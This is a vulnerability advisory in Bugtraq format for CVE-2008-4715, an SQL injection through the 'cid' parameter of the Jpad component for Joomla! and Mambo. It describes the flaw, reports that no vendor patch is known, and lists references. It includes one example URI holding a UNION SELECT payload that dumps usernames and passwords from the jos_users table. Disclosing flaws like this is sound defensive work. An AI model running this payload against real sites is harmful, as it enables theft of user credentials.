Joomla! and Mambo Jpad Component 'cid' Parameter SQL Injection Vulnerability

Bugtraq ID:	28923
Class:	Input Validation Error
CVE:	CVE-2008-4715
Remote:	Yes
Local:	No
Published:	Apr 24 2008 12:00AM
Updated:	May 07 2015 05:29PM
Credit:	His0k4
Vulnerable:	Theo van der Sluijs Jpad 1.0 BrightCode Notepad 0
Not Vulnerable:

Joomla! and Mambo Jpad Component 'cid' Parameter SQL Injection Vulnerability

The Jpad component for Joomla! and Mambo is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Joomla! and Mambo Jpad Component 'cid' Parameter SQL Injection Vulnerability

Attackers can use a browser to exploit this issue.

The following example URI is available:

http://www.example.com/index.php?option=com_jpad&task=edit&Itemid=39&cid=-1 UNION ALL SELECT 1,2,3,concat_ws(0x3a,username,password),5,6,7,8 from jos_users--

Joomla! and Mambo Jpad Component 'cid' Parameter SQL Injection Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

Joomla! and Mambo Jpad Component 'cid' Parameter SQL Injection Vulnerability

References:

• Jpad Homepage (MyJoomla)
  
• Mambo Homepage (Mambo)
  
• Notepad Homepage (BrightCode)